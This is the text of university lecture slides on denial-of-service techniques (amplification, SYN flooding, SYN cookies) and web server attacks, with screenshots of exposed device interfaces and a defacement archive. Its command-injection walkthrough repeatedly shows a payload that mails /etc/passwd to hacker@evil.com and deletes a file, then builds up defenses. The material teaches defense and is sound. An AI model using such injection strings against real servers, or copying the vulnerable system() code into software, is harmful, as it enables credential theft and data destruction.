Denial-of-Service (DoS) & Web Attacks

CS 161: Computer Security

Prof. Vern Paxson

TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/

February 17, 2011
Goals For Today

• Continue our discussion of Denial-of-Service (DoS), including TCP & application-layer attacks

• Begin discussing Web attacks
  – Subverting web servers (today)
  – Subverting web clients (next week)
Amplification: Network DoS

• One technique for magnifying flood traffic: leverage Internet’s broadcast functionality

• How does an attacker exploit this?
  – Send traffic to the broadcast address and spoof it as though the DoS victim sent it
  – All of the replies then go to the victim rather than the attacker’s machine
  – Each attacker pkt yields dozens of flooding pkts
Amplification: Network DoS

• One technique for magnifying flood traffic: leverage Internet’s broadcast functionality
• How does an attacker exploit this?
  – Send traffic to the broadcast address and spoof it as though the DoS victim sent it
  – All of the replies then go to the victim rather than the attacker’s machine
  – Each attacker pkt yields dozens of flooding pkts
• Another example: DNS lookups
  – Reply is often much bigger than request
  – So attacker spoofs request seemingly from the target
    • Small attacker packet yields large flooding packet
Transport-Level Denial-of-Service

• Recall TCP’s 3-way connection establishment handshake
  – Goal: agree on initial sequence numbers
• So a **single** SYN from an attacker suffices to force the server to spend some memory

Client (initiator) ↗  SYN, SeqNum = x  ↘ Server

SYN and ACK, SeqNum = y, Ack = x + 1

ACK, Ack = y + 1

Attacker doesn’t even need to send this ack

Server creates *state* associated with connection here
TCP SYN Flooding

• Attacker targets *memory* rather than network capacity
• Every (unique) SYN that the attacker sends burdens the target
• What should target do when it has no more memory for a new connection?
• No good answer!
  – *Refuse* new connection?
    • Legit new users can’t access service
  – *Evict* old connections to make room?
    • Legit old users get kicked off
TCP SYN Flooding, con’t

• How can the target defend itself?

• Approach #1: make sure they have **tons of memory**!
  – How much is enough? Depends on resources attacker can bring to bear
TCP SYN Flooding, con’t

• Approach #2: identify bad actors & refuse their connections
  – Hard because only way to identify them is based on IP address
    • We can’t for example require them to send a password because doing so requires we have an established connection!
  – For a public Internet service, who knows which addresses customers might come from?
  – Plus: attacker can spoof addresses since they don’t need to complete TCP 3-way handshake

• Approach #3: don’t keep state! (“SYN cookies”; only works for spoofed SYN flooding)
Flooding Defense: SYN Cookies

- Server: when SYN arrives, encode connection state entirely within SYN-ACK’s sequence # y
  \[ y = \text{encoding} \text{ of necessary state, using server secret} \]

- When ACK of SYN-ACK arrives, server only creates state if value of y from it agrees with secret

Instead, encode it here

Do not create state here

Server only creates state here
SYN Cookies: Discussion

• Illustrates general strategy: rather than holding state, *encode* it so that it is returned when needed

• For SYN cookies, attacker must complete 3-way handshake in order to burden server
  – *Can’t use spoofed source addresses*

• Note #1: strategy requires that you have enough bits to encode all the state
  – (This is just barely the case for SYN cookies)

• Note #2: if it’s *expensive* to generate or check the cookie, then it’s not a win
Application-Layer DoS

- Rather than exhausting network or memory resources, attacker can overwhelm a service’s processing capacity.
- There are many ways to do so, often at little expense to attacker compared to target (asymmetry).
This link runs a slooow SQL query on the RIAA's server. Don't click it; that would be wrong. (tinyurl.com)
Application-Layer DoS, con’t

• Rather than exhausting network or memory resources, attacker can overwhelm a service’s processing capacity
• There are many ways to do so, often at little expense to attacker compared to target (asymmetry)
• Defenses against such attacks?
• Approach #1: Only let legit users to issue expensive requests
  – Relies on being able to identify/authenticate them
  – Note: that this itself might be expensive!
• Approach #2: Look for clusters of similar activity
  – Arms race w/ attacker AND costs collateral damage
5 Minute Break

Questions Before We Proceed?
Web Server Threats

• What can happen?
  – Compromise
  – Defacement
  – Gateway to enabling attacks on clients
  – Disclosure
  – (not mutually exclusive)

• And what makes the problem particularly tricky?
  – Public access
  – Mission creep
## System Information

### Router
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Router Name</td>
<td>thegateway</td>
</tr>
<tr>
<td>Router Model</td>
<td>Linksys WRT54G/GL/GS</td>
</tr>
<tr>
<td>LAN MAC</td>
<td>00:40:10:10:00:01</td>
</tr>
<tr>
<td>WAN MAC</td>
<td>00:26:4A:14:DE:22</td>
</tr>
<tr>
<td>Wireless MAC</td>
<td>00:40:12:10:00:AF</td>
</tr>
<tr>
<td>WAN IP</td>
<td>67.164.94.51</td>
</tr>
<tr>
<td>LAN IP</td>
<td>192.168.3.1</td>
</tr>
</tbody>
</table>

### Services
<table>
<thead>
<tr>
<th>Service</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>DHCP Server</td>
<td>Enabled</td>
</tr>
<tr>
<td>WRT-radauth</td>
<td>Disabled</td>
</tr>
<tr>
<td>Sputnik Agent</td>
<td>Disabled</td>
</tr>
</tbody>
</table>

### Memory
<table>
<thead>
<tr>
<th>Category</th>
<th>Total Available</th>
<th>Free</th>
<th>Used</th>
<th>Buffers</th>
<th>Cached</th>
<th>Active</th>
<th>Inactive</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>5.6 MB / 8.0 MB</td>
<td>0.4 MB / 5.6 MB</td>
<td>5.3 MB / 5.6 MB</td>
<td>0.3 MB / 5.3 MB</td>
<td>1.2 MB / 5.3 MB</td>
<td>1.0 MB / 5.3 MB</td>
<td>0.4 MB / 5.3 MB</td>
</tr>
</tbody>
</table>

### Wireless
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Radio</td>
<td>Radio is On</td>
</tr>
<tr>
<td>Mode</td>
<td>AP</td>
</tr>
<tr>
<td>Network</td>
<td>Mixed</td>
</tr>
<tr>
<td>SSID</td>
<td>wap2</td>
</tr>
<tr>
<td>Channel</td>
<td>2</td>
</tr>
<tr>
<td>TX Power</td>
<td>71 mW</td>
</tr>
<tr>
<td>Rate</td>
<td>54 Mbps</td>
</tr>
</tbody>
</table>
5.2. Accessing the LaCie Ethernet Disk mini via Web Browsers

While the LaCie Ethernet Disk mini is connected to the network, it is capable of being accessed via the Internet through your Internet browser.

Windows, Mac and Linux Users – Open your browser to http://EDmini or http://device_IP_address (the “device_IP_address” refers to the IP address that is assigned to your LaCie Ethernet Disk mini; for example, http://192.168.0.207).
Samsung SPF-85V 8-Inch Wireless Internet Photo Frame USB Mini-PC Monitor w/64MB Memory (Black)
by Samsung

Available from these sellers.

1 used from $129.95

What Do Customers Ultimately Buy After Viewing This Item?

30% buy
Kodak Pulse 7-Inch Digital Frame ★★★★★ (128)
Click to see price

30% buy
Toshiba DMF102XKU 10-Inch Wireless Digital Media Frame ★★★★★ (25)
$159.99

(1) There's a web interface for the frame— you use a web browser on your network that connects to the picture frame. The web interface is horrendously slow and repeatedly "times out" while trying to access the frame.
## Setup/Configuration

<table>
<thead>
<tr>
<th>Feature</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web user interface</td>
<td>Built-in web user interface for easy browser-based configuration (HTTP)</td>
</tr>
</tbody>
</table>

## Management

<table>
<thead>
<tr>
<th>Feature</th>
<th>Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web browser</td>
<td>• Internet Explorer 5.x or later&lt;br&gt;• Limited support for Netscape and Firefox. Browser controls for pan/tilt/zoom (PTZ), audio, and motion detection are limited or not supported with Netscape and Firefox.</td>
</tr>
<tr>
<td>Event logging</td>
<td>Event logging (syslog)</td>
</tr>
<tr>
<td>Web firmware upgrade</td>
<td>Firmware upgradable through web browser</td>
</tr>
</tbody>
</table>
Using the Web Interface

Your Cisco IP Phone provides a web interface to the phone that allows you to configure some features of your phone using a web browser. This chapter contains the following sections:

- Logging in to the Web Interface, page 75
- Setting Do Not Disturb, page 75
- Configuring Call Forwarding, page 76
- Configuring Call Waiting, page 76
- Blocking Caller ID, page 77
- Blocking Anonymous Calls, page 77
- Using Your Personal Directory, page 77
- Viewing Call History Lists, page 78
- Creating Speed Dials, page 79
- Accepting Text Messages, page 79
- Adjusting Audio Volume, page 80
- Changing the LCD Contrast, page 80
- Changing the Phone Menu Color Scheme, page 81
- Configuring the Phone Screen Saver, page 81
This Site Owned By Dr. KeviN
Total notifications: **85,049** of which **42,965** single ip and **42,084** mass defacements

Legend:
- **H** - Homepage defacement
- **M** - Mass defacement (click to view all defacements of this IP)
- **R** - Redefacement (click to view all defacements of this site)
- **★** - Special defacement (special defacements are important websites)

<table>
<thead>
<tr>
<th>Time</th>
<th>Notifier</th>
<th>H</th>
<th>M</th>
<th>R</th>
<th>Domain</th>
<th>OS</th>
<th>View</th>
</tr>
</thead>
<tbody>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>R</td>
<td>★</td>
<td>dgdc.gov.do</td>
<td>Win 2000</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td>museodelascasasreales.gov.do</td>
<td>Win 2000</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td>conapofa.gov.do</td>
<td>Win 2000</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td>cgcnss.gov.do</td>
<td>Win 2000</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td>xiliconferencia-primeras-damas....</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td>cea.gov.do</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td>uespmr.gov.do</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>S.W.A.T.</td>
<td>M</td>
<td>R</td>
<td>★</td>
<td><a href="http://www.politur.gov.do/swat.htm">www.politur.gov.do/swat.htm</a></td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Hacker Islamic Republic of Iran</td>
<td>M</td>
<td>R</td>
<td>★</td>
<td>fuerzasarmadas.mil.do/hacked.htm</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Swan</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td><a href="http://www.mtmagnet.wa.gov.au">www.mtmagnet.wa.gov.au</a></td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Swan</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td><a href="http://www.morawa.wa.gov.au">www.morawa.wa.gov.au</a></td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Swan</td>
<td>H</td>
<td>R</td>
<td>★</td>
<td><a href="http://www.meekeashire.wa.gov.au">www.meekeashire.wa.gov.au</a></td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Swan</td>
<td>H</td>
<td>R</td>
<td>★</td>
<td><a href="http://www.wacountry.health.wa.gov.au">www.wacountry.health.wa.gov.au</a></td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>DeltahackingSecurityTEAM</td>
<td>R</td>
<td>★</td>
<td></td>
<td>corepol.gob.do/10rd.htm</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Ashiyane Digital Security Team</td>
<td>M</td>
<td>★</td>
<td></td>
<td>test.leiyang.gov.cn/info.asp?...</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Ashiyane Digital Security Team</td>
<td>M</td>
<td>★</td>
<td></td>
<td><a href="http://www.dyrmfk.gov.cn/info/view.ph">www.dyrmfk.gov.cn/info/view.ph</a>...</td>
<td>Win 2000</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>s-man</td>
<td>★</td>
<td></td>
<td></td>
<td>karmasangsthankbank.gov.bd/~iam...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>MCA-CRB</td>
<td>H</td>
<td>M</td>
<td>★</td>
<td>camaramaquina.rs.gov.br</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>nO.wR3a4n</td>
<td>H</td>
<td>M</td>
<td>★</td>
<td>ddcbara.gov.np</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Spy Boys UnderGround Team</td>
<td>M</td>
<td>★</td>
<td></td>
<td><a href="http://www.jaguarao.rs.gov.br/images/">www.jaguarao.rs.gov.br/images/</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2011/02/15</td>
<td>Cyb3r-Dz</td>
<td>H</td>
<td>M</td>
<td>★</td>
<td>census.gov.np</td>
<td>Linux</td>
<td>mirror</td>
</tr>
</tbody>
</table>
☆ IRANIAN CYBER ARMY ☆

THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY

iranian.cyber.army@gmail.com
The Cheese Board Collective

A Brief Description of Our Collective

We are a collective of about 30 members. Everyone who works at the Cheese Board is a member of the collective with equal decision making power. There is no boss, manager, or non-owner worker. Everyone makes the same hourly wage.

Cheese Board Bread Schedule

Click Here for Cheeseboard Hours

cheeseboardcollective@yahoo.com
## Index of /Cheese and Bread Collective

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AppleApricot.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>19K</td>
<td></td>
</tr>
<tr>
<td>BerkelBuns.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>18K</td>
<td></td>
</tr>
<tr>
<td>CB hours page.html</td>
<td>25-Dec-2009 14:20</td>
<td>17K</td>
<td></td>
</tr>
<tr>
<td>CheeseBreadPicture.JPG</td>
<td>23-Mar-2009 14:12</td>
<td>12K</td>
<td></td>
</tr>
<tr>
<td>CheesePage.html</td>
<td>23-Mar-2009 14:12</td>
<td>24K</td>
<td></td>
</tr>
<tr>
<td>CityBatard.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>18K</td>
<td></td>
</tr>
<tr>
<td>CorCherrar.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>18K</td>
<td></td>
</tr>
<tr>
<td>GreekShepherd.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>19K</td>
<td></td>
</tr>
<tr>
<td>Map.png</td>
<td>21-Dec-2006 17:53</td>
<td>52K</td>
<td></td>
</tr>
<tr>
<td>OnionCurry.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>16K</td>
<td></td>
</tr>
<tr>
<td>SesameSun.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>19K</td>
<td></td>
</tr>
<tr>
<td>SourBeer.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>18K</td>
<td></td>
</tr>
<tr>
<td>SuburbanBread.jpeg</td>
<td>21-Dec-2006 17:53</td>
<td>19K</td>
<td></td>
</tr>
<tr>
<td>TMP-1106485700.htm</td>
<td>21-Dec-2006 17:53</td>
<td>35K</td>
<td></td>
</tr>
<tr>
<td>notes/</td>
<td>02-May-2007 23:04</td>
<td></td>
<td></td>
</tr>
<tr>
<td>transparent.gif</td>
<td>21-Dec-2006 17:53</td>
<td>43</td>
<td></td>
</tr>
</tbody>
</table>

Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g Server at cheeseboardcollective.coop Port 80
"index of private/"
<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
</tr>
<tr>
<td>windex.html</td>
<td>26-Feb-2001 15:10</td>
<td>1.6K</td>
</tr>
<tr>
<td>baby/</td>
<td>26-Feb-2001 15:30</td>
<td></td>
</tr>
<tr>
<td>elsiebillwedding/</td>
<td>26-Feb-2001 15:30</td>
<td></td>
</tr>
<tr>
<td>erik/</td>
<td>26-Feb-2001 15:30</td>
<td></td>
</tr>
<tr>
<td>keystrip/</td>
<td>26-Feb-2001 15:30</td>
<td></td>
</tr>
<tr>
<td>watersports/</td>
<td>26-Feb-2001 15:30</td>
<td></td>
</tr>
<tr>
<td>elsie60.html</td>
<td>25-Mar-2002 20:28</td>
<td>854</td>
</tr>
<tr>
<td>2004-02/</td>
<td>23-Feb-2004 16:25</td>
<td></td>
</tr>
<tr>
<td>2004-04/</td>
<td>22-Apr-2004 10:18</td>
<td></td>
</tr>
<tr>
<td>2003-12 parties and holidays/</td>
<td>26-May-2004 17:47</td>
<td></td>
</tr>
<tr>
<td>2003-11 erik's birthday/</td>
<td>26-May-2004 17:55</td>
<td></td>
</tr>
</tbody>
</table>
# Index of /private/server/logs

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>11-Feb-2011 14:11</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>access_log</td>
<td>16-Feb-2011 02:48</td>
<td>328k</td>
<td></td>
</tr>
<tr>
<td>access_log.0</td>
<td>15-Feb-2011 03:03</td>
<td>409k</td>
<td></td>
</tr>
<tr>
<td>access_log.0.gz</td>
<td>15-Feb-2011 03:15</td>
<td>29k</td>
<td></td>
</tr>
<tr>
<td>access_log.1.gz</td>
<td>14-Feb-2011 03:16</td>
<td>30k</td>
<td></td>
</tr>
<tr>
<td>access_log.1.tmp</td>
<td>16-Feb-2011 02:48</td>
<td>0k</td>
<td></td>
</tr>
<tr>
<td>access_log.1.tmp.201..&gt;</td>
<td>16-Feb-2011 02:45</td>
<td>0k</td>
<td></td>
</tr>
<tr>
<td>access_log.10.gz</td>
<td>05-Feb-2011 03:14</td>
<td>32k</td>
<td></td>
</tr>
<tr>
<td>access_log.11.gz</td>
<td>04-Feb-2011 03:15</td>
<td>25k</td>
<td></td>
</tr>
<tr>
<td>access_log.12.gz</td>
<td>03-Feb-2011 03:14</td>
<td>32k</td>
<td></td>
</tr>
<tr>
<td>access_log.13.gz</td>
<td>02-Feb-2011 03:14</td>
<td>22k</td>
<td></td>
</tr>
<tr>
<td>access_log.14.gz</td>
<td>01-Feb-2011 03:14</td>
<td>23k</td>
<td></td>
</tr>
<tr>
<td>access_log.15.gz</td>
<td>31-Jan-2011 03:14</td>
<td>29k</td>
<td></td>
</tr>
<tr>
<td>access_log.16.gz</td>
<td>30-Jan-2011 03:18</td>
<td>31k</td>
<td></td>
</tr>
<tr>
<td>access_log.17.gz</td>
<td>29-Jan-2011 03:14</td>
<td>33k</td>
<td></td>
</tr>
<tr>
<td>access_log.2.gz</td>
<td>13-Feb-2011 03:20</td>
<td>29k</td>
<td></td>
</tr>
<tr>
<td>access_log.2.tmp</td>
<td>16-Feb-2011 02:48</td>
<td>0k</td>
<td></td>
</tr>
<tr>
<td>access_log.2.tmp.201..&gt;</td>
<td>16-Feb-2011 02:45</td>
<td>0k</td>
<td></td>
</tr>
</tbody>
</table>
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:


  E.g., “http” or “ftp” or “https”
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:
  Hostname of server

Translated to an IP address via DNS
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:
  

  Path to a resource

  Can be static content (e.g., “index.html”)
or can dynamic (program to execute)
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:

First argument to doit.php
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:
  

  Second *argument* to doit.php
Simple Service Example

- Allow users to search the local phonebook for any entries that match a regular expression
- Invoked via URL like:
  http://harmless.com/phonebook.cgi?regex=<pattern>
- So for example:
  http://harmless.com/phonebook.cgi?regex=alice|bob
  searches phonebook for any entries with “alice” or “bob” in them

- (Note: web surfer doesn’t enter this URL themselves; an HTML form, or possibly Javascript running in their browser, constructs it from what they type)
Simple Service Example, con’t

• Assume our server has some “glue” that parses URLs to extract parameters into C variables
  – and returns stdout to the user
• Simple version of code to implement search:

/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    sprintf(cmd,
            "grep %s phonebook.txt", regex);
    system(cmd);
}
Simple Service Example, con’t

• Assume our server has some “glue” that parses URLs to extract parameters into C variables
  – and returns stdout to the user
• Simple version of code to implement search:

/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof(cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}
A Digression into Breakfast Cereals

• 2600 Hz tone a form of *inband signaling*
• *Beware allowing control information to come from data*
• (also illustrates security-by-obscurity)
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
            "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of
    http://harmless.com/phonebook.cgi?regex=alice|bob
How about
    http://harmless.com/phonebook.cgi?regex=foo;%20mail
%20-s%20hacker@evil.com%20</etc/passwd;%20rm

⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
/* print any employees whose name * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
}

Problems?

Instead of

http://harmless.com/phonebook.cgi?regex=alice|bob

How about

http://harmless.com/phonebook.cgi?regex=foo;%20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm

⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
How To Fix *Command Injection*?

```
snprintf(cmd, sizeof cmd,
    "grep %s phonebook.txt", regex);
```
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);
```

Okay, *quote* the data to enforce that it’s indeed interpreted as data …

⇒ "grep 'foo; mail -s hacker@evil.com </etc/passwd; rm' phonebook.txt"

Argument is back to being **data**; a single (large/messy) pattern to grep

Are we done?
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);
...
...regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'
```

⇒ "grep 'foo'; mail -s hacker@evil.com </etc/passwd; rm' ' phonebook.txt"

**Whoops, control information again, not data**
How To Fix Command Injection?

snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);

...regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'

Okay, first scan regex and strip ' - does that work?

No, now can’t do legitimate search on “0'Malley”.
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
        "grep '%%s' phonebook.txt", regex);
...regex=foo'; mail -s hacker@evil.com < /etc/passwd; rm'

Okay, then scan `regex` and escape `'
legit regex ⇒ O\'Malley
```

Are we done?
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
       "grep '%s' phonebook.txt", regex);
```

...regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm\'

Rule alters:

```c
...regex=foo\'; mail ... ⇒ ...regex=foo\'; mail ...
```

Now grep is invoked:

⇒ "grep 'foo\'; mail -s hacker@evil.com </etc/passwd; rm\' ' phonebook.txt"

Argument to grep is "foo\"
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);
...regex=foo'\; mail -s hacker@evil.com </etc/passwd; rm'

Rule alters:
    ...regex=foo'\; mail ... ⇒ ...regex=foo'\; mail ...

Now grep is invoked:

⇒ "grep 'foo\'; mail -s hacker@evil.com </etc/passwd; rm\' ' phonebook.txt"
```

*Sigh, again control information, not data*
snprintf(cmd, sizeof cmd, 
    "grep '%%s' phonebook.txt", regex);

...regex=foo'); mail -s hacker@evil.com </etc/passwd; rm\'

Okay, then scan regex and escape ' and \ .... ?
...regex=foo'); mail ... ⇒ ...regex=foo\\'); mail ...

⇒ "grep 'foo\\'); mail -s hacker@evil.com </etc/passwd; rm\\' ' phonebook.txt"

Are we done?

Yes! - assuming we take care of all the ways escapes can occur ...
Input Sanitization

• In principle, can prevent injection attacks by properly **sanitizing** input
  – **Remove** inputs with *meta-characters*
    • (can have “collateral damage” for benign inputs)
  – Or **escape** any meta-characters (including escape characters!)
    • Requires a **complete** model of how input subsequently processed
      – E.g. …regex=foo%27; mail …
      – E.g. …regex=foo%25%32%37; mail …
        » Double-escaping bug

• And/or: **avoid using a feature-rich API**
  – KISS + defensive programming
/ * print any employees whose name
* matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;

    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;

    envp[0] = 0;

    if ( execve(path, argv, envp) < 0 )
        command_failed(.....);
}
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;
    if (execve(path, argv, envp) < 0)
        command_failed(...);
}